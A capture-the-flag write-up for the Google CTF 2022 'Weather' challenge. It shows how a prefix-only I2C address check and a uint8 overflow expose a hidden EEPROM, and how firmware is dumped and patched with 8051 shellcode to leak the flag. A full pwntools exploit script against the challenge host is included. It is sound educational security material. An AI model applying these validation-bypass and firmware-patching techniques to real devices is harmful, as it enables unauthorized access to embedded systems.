##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Weather

[GoogleCTF, 2022]

category: rev

by hweissi

Challenge Description

Our DYI Weather Station is fully secure! No, really! Why are you laughing?! OK, to prove it we're going to put a flag in the internal ROM, give you the source code, datasheet, and network access to the interface.

Initial exploit

In this challenge, the source code is provided to us. The command line allows us to interact with the sensors via I2C. We can read and write to the sensors, but the addresses are being filtered so we can only interact with the intended devices.

Here is where we find our bug:

const char *ALLOWED_I2C[] = {
  "101",  // Thermometers (4x).
  "108",  // Atmospheric pressure sensor.
  "110",  // Light sensor A.
  "111",  // Light sensor B.
  "119",  // Humidity sensor.
  NULL
};
bool is_port_allowed(const char *port) {
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
        break;
      }
    }
    if (allowed && *pa == '\0') {
      return true;
    }
  }
  return false;
}

This checks if the first three characters of the string match any of the allowed addresses. However, it does not check if the user-provided string is actually only three characters long.

This means that any input that starts with three characters matching any of the allowed ports will be accepted by this function. Afterwards, the string is parsed to uint8_t. By providing the right input to overflow the integer, we can access any I2C address we want.

To get the right values for the overflows, we wrote a small program:

int main()
{
    while(1)
    {
        char* input;
        scanf("%ms", &input);
        uint8_t x = (uint8_t) str_to_uint8(input);
        printf("%u\n", x);
        free(input);
    }
}

Using this and some python, we mapped every I2C address to an accepted value. We then used this map to scan the address space for any other devices:

def findAddress():
    known_addresses = [101, 108, 110, 111, 119]
    io = start()
    for i in range(128):
        io.recvuntil("? ")
        io.sendline("r " + addresses[i] + " 1")
        out = io.recvline()
        if out != b"i2c status: error - device not found\n":
            print(f"{i}: {out}   |   {addresses[i]}")
            if i not in known_addresses:
                io.close()
                return addresses[i]
        
    io.close()
    return -1

With this technique, we found one device at address 33 (overflow value 101153).

According to the provided datasheet, that device is the EEPROM memory containing the program code. We could now interact with it directly to leak the whole code:

addr = 101153 # findAddress()
def readMemory(addr):
    io = start()
    b = b""
    
    p = log.progress("leaking EEPROM memory...")
    for i in range(64):
        p.status(f"{i + 1}/64 Pages")
        io.recvuntil(b"? ")
        io.sendline(f"w {addr} 1 {i}".encode("ascii"))
        io.recvuntil(b"? ")
        io.sendline(f"r {addr} 64".encode("ascii"))
        io.recvuntil(b"i2c status: transaction completed / ready\n")
        out = io.recvuntil(b"-end")
        out = out[:-5].replace(b"\n", b" ").decode("ascii")
        for x in out.split(" "):
            if x == '':
                continue
            b += int(x).to_bytes(1, 'big')
        print(out)
    p.success("Done!")
    print(b)
    with open("out2.bin", "wb") as f:
        f.write(b)
    io.close()

This generated a binary that we were able to import into ghidra as a raw file 8051 file. There were no surprises in the decompiled file, it was just a compiled version of the provided source code.

Now that we had all this, we just had to find a way to actually read from the SFR to get the flag.

According to the documentation, we could not write arbitrary data to the EEPROM. Instead we were only able to set bits to 0 via bitmasks. This meant that simply changing the value of another SFR to the Flagrom SFR was not possible, as the hex value of the latter was 0xef, and we cannot set any bits to 1.

Fortunately, from address 0xa00 onward, there was a lot of memory containing just 0xff, which we could use to write our own shellcode and leak the flag. We just had to find a way to jump to it.

The byte values of a jump to 0xa00 in the 8051 architecture is 0x02 0xa0 0x00 - only three set bits. We just had to find an instruction that had those bits still set to 1. One such instruction was at address 0x5e6: The check if the port was allowed, or in binary: 0xbf 0xff 0x0c

Then, we wrote the instructions to leak one byte at index ctr of the flag:

ins = [
        0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, # NOPSled
        0b01110101, 0xee, ctr, # mov direct, immediate   (move current address to FLAG_ADDR)
        0b11100101, 0xef,      # mov A, direct  (mov FLAG_DATA to accumulator)
        0b11110101, 0xf2,      # mov direct, A  (mov accumulator to SERIAL_OUT_DATA)
        0x2, 0x04, 0xed        # jmp 0x4ed  (jump back to start of main, not needed)
    ]

To write to the EEPROM, we also had to respect the packet format from the datasheet:

[page_index] 165 90 165 90 [data]

The hardcoded values are a magic number preventing accidental overwrites. Data determines which bits to set to 0, by the logic of mem = mem & ~data for each byte. This means that every bit that is 1 in the packet gets set to 0.

Putting it all together, we had the following code:

io = start()
addr = 101153
def overwriteBytes(io, address, values):
    page = address // 64
    byte = address % 64
    io.recvuntil(b"? ")
    data = "0 " * (byte)
    for v in values:
        data += str(v ^ 0xff) + " "
    data = data.strip()
    io.sendline(f"w {addr} {byte + len(values) + 5} {page} 165 90 165 90 {data}".encode("ascii"))
overwriteBytes(io, 0xa00, ins)
overwriteBytes(io, 0x5e6, [0x2, 0x0a, 0x0])
io.sendline(b"r 101 1")
io.recvuntil("?")
print(io.recvuntil("?"))

This leaked one byte of the flag. We could have written shellcode that would loop over the whole flag, but in the interest of time we just iterated over it in python to get the flag byte-by-byte.

Flag: CTF{DoesAnyoneEvenReadFlagsAnymore?}

Full exploit script:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from distutils.command import install_egg_info
from pwn import *
exe = context.binary = ELF('test')
host = args.HOST or 'weather.2022.ctfcompetition.com'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
# -- Exploit goes here --
def checkDone(m):
    for i in range(128):
        if i not in m:
            return False
    return True
def generateOverflows():
    io = start_local()
    i = 0
    vals = dict()
    while True:
        io.writeline("101" + str(i))
        out = io.readline()
        if int(out) < 128 and int(out) not in vals:
            vals[int(out)] = "101" + str(i)
            print(out, "101" + str(i))
        if checkDone(vals):
            break
        i += 1
    print(vals)
    io.close()
    return vals
#vals = generateOverflows()
def findAddress():
    known_addresses = [101, 108, 110, 111, 119]
    io = start()
    for i in range(128):
        io.recvuntil("? ")
        io.sendline("r " + vals[i] + " 1")
        out = io.recvline()
        if out != b"i2c status: error - device not found\n":
            print(f"{i}: {out}   |   {vals[i]}")
            if i not in known_addresses:
                io.close()
                return vals[i]
        
    io.close()
    return -1
addr = 101153 # findAddress()
def readMemory(addr):
    io = start()
    b = b""
    
    p = log.progress("leaking EEPROM memory...")
    for i in range(64):
        p.status(f"{i + 1}/64 Pages")
        io.recvuntil(b"? ")
        io.sendline(f"w {addr} 1 {i}".encode("ascii"))
        io.recvuntil(b"? ")
        io.sendline(f"r {addr} 64".encode("ascii"))
        io.recvuntil(b"i2c status: transaction completed / ready\n")
        out = io.recvuntil(b"-end")
        out = out[:-5].replace(b"\n", b" ").decode("ascii")
        for x in out.split(" "):
            if x == '':
                continue
            b += int(x).to_bytes(1, 'big')
        print(out)
    p.success("Done!")
    print(b)
    with open("out2.bin", "wb") as f:
        f.write(b)
    io.close()
#readMemory(addr)
def overwriteByte(io, address, values):
    page = address // 64
    byte = address % 64
    io.recvuntil(b"? ")
    data = "0 " * (byte)
    for v in values:
        data += str(v ^ 0xff) + " "
    #data += "0 " * (64 - (byte) - len(values))
    data = data.strip()
        #print(len(data.strip().split(" ")))
    #print(f"overwriting, page = {page}, byte = {byte}")
    #print(f"w {addr} {byte - 1 + len(values) + 4} {page} 165 90 165 90 {data}".encode("ascii"))
    #io.sendline(f"w {addr} 1 {page}".encode("ascii"))
    #print(f"w {addr} {byte + len(values) + 5} {page} 165 90 165 90 {data}".encode("ascii"))
    io.sendline(f"w {addr} {byte + len(values) + 5} {page} 165 90 165 90 {data}".encode("ascii"))
replArr = [0 for i in range(64)]
#overwriteByte(io, 0x0, replArr)
#readMemory(addr)
ctr = 0
while True:
    io = start()
    ins = [
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0x0,
        0b01110101, # mov direct, immediate
        0xee,
        ctr,
        0b11100101, #mov A, direct
        0xef,
        0b11110101, #mov direct, A
        0xf2,
        0x2,
        0x04,
        0xed
    ]
    overwriteByte(io, 0xa00, ins)
    #overwriteByte(io, 0x096d, [95, 95, 95])
    #readMemory(addr)
    overwriteByte(io, 0x5e6, [0x2, 0x0a, 0x0])
    #overwriteByte(io, 0x5e7, [0x0])
    io.sendline(b"r 101 1")
    io.recvuntil("?")
    print(io.recvuntil("?"))
    #print(io.recvline())
    #print(io.recvline())
    
    #print(io.recvline())
    ctr += 1
/writeups/ $

$